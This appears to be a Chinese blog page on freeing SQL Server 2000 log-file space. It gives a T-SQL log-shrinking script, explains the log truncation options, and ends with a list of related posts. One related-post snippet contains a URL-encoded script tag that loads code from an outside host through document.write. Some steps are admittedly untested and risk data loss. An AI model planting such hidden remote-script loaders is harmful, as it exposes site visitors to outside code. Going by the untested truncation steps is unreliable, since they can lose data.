如何删除SQL SERVER 2000的日志文件空间?

SQL_SERVER清除日志的四种方法 MS SQL SERVER日志增长非常快,使用时间长了以后,日志文件会很大,占用很大的硬盘空间,因此需要定时清除日志,可以采用以下四种方法: 立即下载

首先备份数据库
然后备份文件,备份日志文件,可改名
在 查询分析器里执行 sp_attach_single_file_db,将生成新的日志文件
具体怎么做,我也没做过,让有经验的人回答。,我去收集一下这方面的资料

从大洋网摘录的方法,未试过
用 bcp命令把数据库中的记录都导出来保存到另一台机器,然后用truncate table tablename
的方式把所有记录都清空,然后执行dump transaction dbname with no_log,发现log文件已显著减少,再用bcp命令导入,导入后log文件又增大,但再用 dump transaction dbname with no_log,效果不仅是使日志占的空间减少,日志文件的size也显著减少。

前几天也碰到日志文件过大的问题,数据库实际大小为600M, 日志文件实际大小为33M, 但日志文件占用空间为2.8G!!!
试了多种方式,SHIRNK DATABASE, TRUNCATE LOG FILE, 都没办法将文件缩小。无论如何,这应该算SQL SERVER的一个BUG吧。

后来找到下面的代码,就可以将日志文件缩小到自己想要的大小了。把代码COPY到查询分析器里,,然后修改其中的3个参数(数据库名,日志文件名,和目标日志文件的大小),运行即可(我已经用过多次了)
-----
SET NOCOUNT ON
DECLARE @LogicalFileName sysname,
        @MaxMinutes INT,
        @NewSize INT


USE     Marias             -- 要操作的数据库名
SELECT  @LogicalFileName = 'Marias_log',  -- 日志文件名
@MaxMinutes = 10,               -- Limit on time allowed to wrap log.
        @NewSize = 100                  -- 你想设定的日志文件的大小(M)

-- Setup / initialize
DECLARE @OriginalSize int
SELECT @OriginalSize = size
  FROM sysfiles
  WHERE name = @LogicalFileName
SELECT 'Original Size of ' + db_name() + ' LOG is ' +
        CONVERT(VARCHAR(30),@OriginalSize) + ' 8K pages or ' +
        CONVERT(VARCHAR(30),(@OriginalSize*8/1024)) + 'MB'
  FROM sysfiles
  WHERE name = @LogicalFileName
CREATE TABLE DummyTrans
  (DummyColumn char (8000) not null)


DECLARE @Counter   INT,
        @StartTime DATETIME,
        @TruncLog  VARCHAR(255)
SELECT  @StartTime = GETDATE(),
        @TruncLog = 'BACKUP LOG ' + db_name() + ' WITH TRUNCATE_ONLY'

DBCC SHRINKFILE (@LogicalFileName, @NewSize)
EXEC (@TruncLog)
-- Wrap the log if necessary.
WHILE     @MaxMinutes > DATEDIFF (mi, @StartTime, GETDATE()) -- time has not expired
      AND @OriginalSize = (SELECT size FROM sysfiles WHERE name = @LogicalFileName) 
      AND (@OriginalSize * 8 /1024) > @NewSize 
  BEGIN -- Outer loop.
    SELECT @Counter = 0
    WHILE  ((@Counter < @OriginalSize / 16) AND (@Counter < 50000))
      BEGIN -- update
        INSERT DummyTrans valueS ('Fill Log') 
        DELETE DummyTrans
        SELECT @Counter = @Counter + 1
      END  
    EXEC (@TruncLog) 
  END  
SELECT 'Final Size of ' + db_name() + ' LOG is ' +
        CONVERT(VARCHAR(30),size) + ' 8K pages or ' +
        CONVERT(VARCHAR(30),(size*8/1024)) + 'MB'
  FROM sysfiles
  WHERE name = @LogicalFileName
DROP TABLE DummyTrans
SET NOCOUNT OFF

理解日志截断选项
不同的备份日志截断选项经常被DBA新手所忽视。DBA新手通常并不知道选项存在或了解它们的作用。怎样使用或什么时候时候它们,以下的几小节详细解释每个选项的作用以及在什么时候使用它。
    TRUNCATE_ONLY
TRUNCATE_ONLY选项截掉事务日志的非活动部分,而不备份(拷贝)日志到备份设备上。因为日志没有拷贝,所以在使用TRUNCATE_ONLY时,不必指明备份设备。例如,用TRUNCATE_ONLY选项备份主数据库事务日志的语法如下:
Backup Log master
WITH TRUNCATE_ONLY
在以下情况下使用TRUNCATE_ONLY:
如果你不是为了恢复目的使用事务日志,并且依赖于完整数据库备份(完整或差异)。如果没有执行数据库备份就使用TRUNCATE_ONLY选项,你将不能在带有TRUNCATE_ONLY的BACKUP LOG命令执行时,恢复事务日志非活动部分的已完成事务。
NO_LOG
当有NO_LOG选项的BACKUP LOG命令执行时,SQL SERVER不记录BACKUP LOG命令,就截断事务日志的非活动部分。
仅当事务日志完全填满时才使用NO_LOG选项,当日志完全填满时,你不能通过执行一条普通的BACKUP LOG命令来截断事务日志。这样是因为SQL SERVER试图记录BACKUP命令,而在事务日志中却没有剩余空间。和TRUNCATE_ONLY选项一样,NO_LOG选项不需要备份设备,因为日志并不拷贝到设备上去。
NO_TRUNCATE
当你试图进入的数据库被破坏并打算恢复数据库时,使用NO_TRUNCATE选项。要使用NO_TRUNCATE,必须满足以下条件:
事务日志必须和数据库在不同的设备上。
MASTER数据库必须没有被破坏
NO_TRUNCATE记录从最近一次事务日志备份,到数据库破坏点的所有事务日志项。然后恢复事务日志备份作为最近一次备份,它在恢复过程中,可精确到毫秒级。

很多时候,我们被数据库日志文件大小不断在增加而困挠,虽然可以用截短事务日志的命令dump transaction database_name with no_log来使日志占用实际物理log文件的空间的百分比减小,但数据库log文件的把磁盘的空间霸占着不用,使其他的程序所需的空间受到影响。为此,我做了很多次试验,以探讨能够直接减小log文件大小的方法,请方家指教!

根据db_option中的有关选项,在不同设置时,做dump transaction database_name with no_log操作后,发现log文件的total space都不变化,只是used space变小,而free space相应变大。这样的变化意味着,你以后的日志还有可写入的空间,因为空间被预留了。但当这个log文件已经太大,而影响了其他程序的使用空间时,这样的结果并不是我需要的。

后来我做了一个这样的操作,用bcp命令把数据库中的记录都导出来保存到另一台机器的硬盘上。然后用truncate table table_name的方式把所有的记录都清空,然后执行dump transaction database_name with no_log,发现log文件已经显著地减小,再用bcp命令将之前导出的数据导入到数据库中,导入完成后,log文件又增大了,但再用dump transaction database_name with no_log命令操作时,效果不仅是使日志占用空间减少,日志文件的size也显著地减小。


对于以上现象,请有兴趣的同道予以验证,至于这个操作对数据库的物件和完整性是否有影响,还望高手指教!

sql server 2000清除挂起程序 立即下载

相关推荐

别再迷信Intel网卡了!用普通笔记本+TWINCAT3搭建EtherCAT主站的完整避坑实录

本文详细介绍了如何用普通笔记本和TWINCAT3搭建EtherCAT主站的完整避坑指南。通过破除必须使用Intel网卡的迷思,提供软件环境搭建、关键配置步骤、Wireshark抓包技巧及性能优化建议,帮助开发者低成本实现EtherCAT主站功能。

weixin_29305337的博客 704

数据库日志文件超出处理

手工清除SQL Server 2000日志文件的方法。具体步骤为: 1、打开查询分析器,在输入窗口里键入如下命: use DBName; backup log DBName with no_log 单击“ ”按钮或按F5键执行该命令,其中“DBName”指要清除日志的数据库名称。如果只有一个数据库组名,可不用输入use DBName语句; 2、打开SQL Server 2000企业管理器

Isaac-Zhang 1070

用LT1166+MOS管打造实验室级恒流源:闭环反馈与推挽驱动的深度调优

本文详细介绍了基于LT1166电流模式控制器与MOS管推挽架构的实验室级恒流源设计方法。通过闭环反馈调优和动态响应优化,实现带宽达100kHz、纹波低于0.1%的高性能恒流输出,适用于精密仪器校准和半导体测试等场景。重点解析了系统架构设计、MOS管选型策略以及频率响应测试等关键技术要点。

weixin_29290379的博客 205

教你如何清除SQL日志

教你如何清除SQL日志 1.打开查询分析器,输入命令DUMP TRANSACTION 数据库名 WITH NO_LOG2.再打开企业管理器--右键你要压缩的数据库--所有任务--收缩数据库--收缩文件--选择日志文件--在收缩方式里选择收缩至XXM,这里会给出一个允许收缩到的最小M数,直接输入这个数,确定就可以了。清除Log有两种方法:  1.自动清除法  开放数据库选项 Trunc Log on

我的程序世界 4256

Maxwell涡流热损计算:铜导体在50Hz交流下的仿真实践

本文详细介绍了使用Maxwell软件进行铜导体在50Hz交流条件下的涡流热损仿真实践。从涡流热损的基本概念到Maxwell仿真设置、网格划分、结果后处理等关键步骤,提供了实用技巧和常见问题解决方案,帮助工程师准确计算涡流热损,优化电力设备设计。

weixin_42526015的博客 390

开源遥感语义分割工具箱mmsegmentation基于Lovedata数据集训练模型

开源遥感语义分割工具箱mmsegmentation基于Lovedata数据集训练模型

yilvyangguang520的博客 498

删除MS SQL Server 2000日志

转载自:http://www.qinzhe.com/es2005eehelp/tutorial/ch18/ch183.htm1.打开MS SQL Server 2000企业管理器2.打开数据库,选中需要删除日期的数据库,点击“察看”,选择“任务板”:3.鼠标右键点中需要删除日期的数据库,选择右键菜单“所有任务”-“备份数据库”:4.选择“事务日志”:5.点击“添加”

david286的专栏 937

OpenClaw 保姆级 window部署

OpenClaw 保姆级 window部署 养龙虾

cs821984831的博客 297

删除数据库日志

sql2000删除数据库日志有两种方法一种方法:清空日志。1.打开查询分析器,输入命令DUMP TRANSACTION 数据库名 WITH NO_LOG2.再打开企业管理器--右键你要压缩的数据库--所有任务--收缩数据库--收缩文件--选择日志文件,1: 删除LOG分离数据库 企业管理器->服务器->数据库->右键->分离数据库2:删除LOG文件附加数据库 企业管理器->服务器->数据库->右键

紫藤阁 1166

通过Langchain实现大模型完成测试用例生成的代码(可集成到各种测试平台)

代码中使用的是讯飞spark3.0版本,其中版本在的控制已经封装到了langchain对应的讯飞的iflytek的类中,可以在调用的时候显示控制,默认是spark2.0版本。

Criss@陈磊 2362

嵌入式工程师必学(9):USB 3.0协议理解

USB3.0和USB2.0相比,在线缆上从4根线(Vbus、GND、D+、D-)变为了8根线(Vbus、GND、D+、D-、SSRX+\SSRX-\SSTX+\SSTX-),可见增加的4根线都是和超速相关的,新增加的超速有两类,分别为:超速Gen1(5.0Gbps),超速+Gen2(10Gbps),还兼容USB2.0的3类速率:low-speed(1.5Mbps),full-speed(12Mbps),andhigh-speed(480Mbps)。从设计可以看出,USB3....

码农17年的博客 1万+

如何删除SQL SERVER 2000的日志文件空间

 HTML Tags and JavaScript tutorialvar encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count1.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S)

446

AUTOSAR进阶图解==>AUTOSAR_SWS_COM

AUTOSAR COM模块是AUTOSAR通信堆栈的核心组件,提供信号导向的通信服务。该模块位于通信服务层,连接RTE与PDU Router,主要功能包括信号封装/提取、传输模式管理、信号路由、超时监控和字节序转换等。COM模块架构分为应用层、通信服务层和通信抽象层,包含信号管理、I-PDU处理、传输模式管理等组件。其配置结构包括顶层容器、I-PDU组、I-PDU和信号等多层次配置对象,支持丰富的参数设置。模块采用严格的状态管理机制,包括模块状态和I-PDU组状态转换,确保通信可靠性。

一名留德华的,康德的信徒的,专注于汽车电子领域的博客 1243

如何删除SQL SERVER 2000的日志文件空间?(转优快云)

首先备份数据库然后备份文件,备份日志文件,可改名在 查询分析器里执行 sp_attach_single_file_db,将生成新的日志文件具体怎么做,我也没做过,让有经验的人回答。,我去收集一下这方面的资料从大洋网摘录的方法,未试过用 bcp命令把数据库中的记录都导出来保存到另一台机器,然后用truncate table tablename的方式把所有记录都清空,然后执

fxj331072 1355

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

如何删除SQL SERVER 2000的日志文件空间? 选择自 softj 的 Blog

 首先备份数据库然后备份文件,备份日志文件,可改名在 查询分析器里执行 sp_attach_single_file_db,将生成新的日志文件具体怎么做,我也没做过,让有经验的人回答。,我去收集一下这方面的资料从大洋网摘录的方法,未试过用 bcp命令把数据库中的记录都导出来保存到另一台机器,然后用truncate table tablename的方式把所有记录都清空,然后执行dump tra

yizhyi的专栏 1089

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

【MS SQL Server】使用【数据库收缩功能】实现多个数据文件的合并

收缩用户数据库   1 为什么要收缩数据库 SQL Server 2000采取预先分配空间的方法来建立数据库的数据文件或者日志文件,比如数据文件的空间分配了100MB,而实际上只占用了50MB空间,这样就会造成存储空间的浪费。为此,SQL Server 2000提供了收缩数据库的功能,允许对数据库中的每个文件进行收缩,删除已经分配但没有使用的页。 不能将整个数据库收缩到比其原始大小还要小。

自然 1498

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

如何手动删除 SQL Server 2000 默认实例、命名实例或虚拟实例

如何手动删除 SQL Server 2000 默认实例、命名实例或虚拟实例概要 删除 Microsoft SQL Server 2000 前应考虑的事项 删除 SQL Server 的步骤 删除 SQL Server 的特定实例 删除 SQL Server 的所有已知实例 删除 SQL Server 的默认实例 删除 SQL Server 的命名实例 如何包含全文检索删除 重新安装 SQL Ser

威尔逊的专栏 1458

SQL SERVER 2000数据库置疑 紧急模式

SQL SERVER 2000数据库,服务重启之后系统库以外的其它库都会出现置疑(置疑之前没有备份的库。除非是置疑前一秒刚备份完,或者是备份完没有再使用,可以直接恢复): 1、停掉SQL SERVER 服务(开始--控制面板--管理工具--服务--MSSQLSERVER--右键停止) 2、找到置疑库的数据文件mdf和ldf存放位置,备份此文件到其它文件夹 3、重启SQL SERV

judge9999的专栏 5436

sql2000卸载无法找到安装日志文件_解决SQLServer2000安装被挂起的方法

安装 SQL2000 时,系统经常会出现“以前的某个程序已在安装计算机上创建挂起的文件操作。运行安装之前必须重新启动计算机”的提示,下面新睿云分享一下几种解决SQL Server 2000安装被挂起的方法 。问题重新安装SQL Server的时候出现的情况。“以前的某个程序已在安装计算机上创建挂起的文件操作。运行安装之前必须重新启动计算机”的提示。解决方法:关于SQL安装被挂起的修复大家可能都遇到...

weixin_39988888的博客 1746

SQL 2000置疑修复

SQL 2000质疑修复 解决由于sql2000日志文件引起的“置疑”问题: 日志有错误--------重新附加提示日志有错误。 日志文件丢失-----丢失了.ldf文件,只有.mdf文件的数据库重建。 步骤:以hbyjtv8数据库为例 一、备份“置疑”数据库的数据文件,因为日志文件.ldf出错,可以只备份.mdf文件。 二、打开企业管理器(SQLServerEnterpriseManager),删除“置疑”数据库,如果提示删除错误,可以重启数据库服务器,然后再试。 三、在企业管理器中,新建同名数据库(假如

Lu鹿夫人的博客 7243

SQL Server 2005(2000) 日志删除和日志文件限制(转)

清除 SQL SERVER 2005 事务日志(方法一) 1.右键在清除日志的数据库,如“TestDB”,点击[新建查询(Q)]2.输入以下SQL语句,其中“TestDB”是数据库名称DUMP TRANSACTION TestDB WITH NO_LOG3.执行该SQL,成功后继续以下操作4.右键该数据库节点,点击[任务(T)] -> [收缩(S)] -> [文件(F)]

GeneralXCK的专栏 4270

SQL Server 之 数据库日志文件太大 之 删除

SQL数据库的日志文件太大! 用管理->数据库维护计划来做  选择数据库->从数据库文件中删除未使用的空间  当数据库的大小超过n  MB时收缩数据库  保留10% 的数据空间作为可用空间,这样可以调度执行,不需要手工操作。      在维护日志备份序列时,调度BACKUPLOG语句按间隔发生,以使事务日志不致增长到超过预期的大小。    *当不维护日志备份序列时,指定简单恢复

3813
上一篇: SQL Server数据库文件恢复技术
下一篇: DTS包属性
天地客人
博客等级 码龄23年 62粉丝 168原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值